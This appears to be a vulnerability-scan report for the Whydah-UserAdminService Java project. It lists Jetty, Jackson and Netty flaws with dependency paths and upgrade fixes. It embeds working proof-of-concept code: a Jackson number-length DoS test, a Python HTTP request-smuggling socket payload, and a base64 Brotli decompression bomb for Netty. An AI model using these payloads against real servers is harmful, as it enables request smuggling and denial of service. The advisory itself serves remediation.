Vulnerabilities |
20 via 103 paths |
|---|---|
Dependencies |
140 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
new
- Vulnerable module: org.eclipse.jetty:jetty-http
- Introduced through: org.eclipse.jetty:jetty-server@12.1.4, org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 and others
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty:jetty-server@12.1.4 › org.eclipse.jetty:jetty-http@12.1.4Remediation: Upgrade to org.eclipse.jetty:jetty-server@12.1.7.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4 › org.eclipse.jetty:jetty-http@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.7.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-security@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4 › org.eclipse.jetty:jetty-http@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.7.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-session@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4 › org.eclipse.jetty:jetty-http@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.7.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty:jetty-session@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4 › org.eclipse.jetty:jetty-http@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.7.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4 › org.eclipse.jetty:jetty-http@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.7.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee:jetty-ee-webapp@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4 › org.eclipse.jetty:jetty-http@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.7.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-security@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4 › org.eclipse.jetty:jetty-http@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.7.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.4 › org.eclipse.jetty.ee10:jetty-ee10-servlet@12.1.4 › org.eclipse.jetty:jetty-session@12.1.4 › org.eclipse.jetty:jetty-server@12.1.4 › org.eclipse.jetty:jetty-http@12.1.4Remediation: Upgrade to org.eclipse.jetty.ee10:jetty-ee10-webapp@12.1.7.
Overview
org.eclipse.jetty:jetty-http is an is a http module for jetty server.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the HTTP/1.1 parser (HttpParser.java). An attacker can inject additional HTTP requests with chunked transfer encoding with improperly terminated quoted strings.
Remediation
Upgrade org.eclipse.jetty:jetty-http to version 12.0.33, 12.1.7 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-core
- Introduced through: com.fasterxml.jackson.core:jackson-core@2.18.3, com.fasterxml.jackson.core:jackson-databind@2.18.3 and others
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.fasterxml.jackson.core:jackson-core@2.18.3Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.18.6.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.6.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.glassfish.jersey.media:jersey-media-json-jackson@3.1.11 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core@1.55.3 › com.fasterxml.jackson.core:jackson-core@2.18.3Remediation: Upgrade to com.azure:azure-identity@1.18.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.glassfish.jersey.media:jersey-media-json-jackson@3.1.11 › com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations@2.18.0 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core@1.55.3 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3Remediation: Upgrade to com.azure:azure-identity@1.18.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.microsoft.azure:msal4j@1.19.1 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.glassfish.jersey.media:jersey-media-json-jackson@3.1.11 › com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations@2.18.0 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › com.azure:azure-core@1.55.3 › com.fasterxml.jackson.core:jackson-core@2.18.3Remediation: Upgrade to com.azure:azure-identity@1.18.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › com.azure:azure-core@1.55.3 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3Remediation: Upgrade to com.azure:azure-identity@1.18.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.microsoft.azure:msal4j-persistence-extension@1.3.0 › com.microsoft.azure:msal4j@1.19.1 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
Overview
com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-core
- Introduced through: com.fasterxml.jackson.core:jackson-core@2.18.3, com.fasterxml.jackson.core:jackson-databind@2.18.3 and others
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.fasterxml.jackson.core:jackson-core@2.18.3Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.18.7.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.7.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.glassfish.jersey.media:jersey-media-json-jackson@3.1.11 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core@1.55.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.glassfish.jersey.media:jersey-media-json-jackson@3.1.11 › com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations@2.18.0 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core@1.55.3 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.microsoft.azure:msal4j@1.19.1 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › org.glassfish.jersey.media:jersey-media-json-jackson@3.1.11 › com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations@2.18.0 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › com.azure:azure-core@1.55.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › com.azure:azure-core@1.55.3 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.microsoft.azure:msal4j-persistence-extension@1.3.0 › com.microsoft.azure:msal4j@1.19.1 › com.fasterxml.jackson.core:jackson-databind@2.18.3 › com.fasterxml.jackson.core:jackson-core@2.18.3
Overview
com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.
Remediation
Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: com.azure:azure-identity@1.15.4
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.0.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http2@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.0.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-handler-proxy@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.0.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.1.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http2@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.1.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.projectreactor.netty:reactor-netty-core@1.0.48 › io.netty:netty-handler-proxy@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.1.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of chunk extensions in HTTP/1.1 messages with chunked encoding. An attacker can bypass HTTP request boundaries by sending specially crafted HTTP requests that exploit differences in how standalone newline characters are parsed between reverse proxies and the backend, potentially allowing them to smuggle additional requests.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.125.Final, 4.2.5.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: com.azure:azure-identity@1.15.4
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http2@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-handler-proxy@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http@4.1.118.Final
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http2@4.1.118.Final › io.netty:netty-codec-http@4.1.118.Final
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.projectreactor.netty:reactor-netty-core@1.0.48 › io.netty:netty-handler-proxy@4.1.118.Final › io.netty:netty-codec-http@4.1.118.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.
PoC
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: com.azure:azure-identity@1.15.4
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.0.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http2@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.0.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-handler-proxy@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.0.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.1.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http2@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.1.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.projectreactor.netty:reactor-netty-core@1.0.48 › io.netty:netty-handler-proxy@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.1.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.
PoC
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.125.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: com.azure:azure-identity@1.15.4
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.0.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.1.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the improper handling of concurrently active streams per connection. An attacker can cause resource exhaustion and disrupt service availability by rapidly sending crafted frames, such as WINDOW_UPDATE, HEADERS, or PRIORITY, that manipulate the server's stream reset logic, leading to unbounded concurrent stream processing.
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.124.Final, 4.2.4.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: com.azure:azure-identity@1.15.4
Detailed paths
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to com.azure:azure-identity@1.18.3.
-
Introduced through: Cantara/Whydah-UserAdminService@Cantara/Whydah-UserAdminService › com.azure:azure-identity@1.15.4 › com.azure:azure-core-http-netty@1.15.11 › io.projectreactor.netty:reactor-netty-http@1.0.48 › io.netty:netty-codec-http2@4.1.118.Final
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
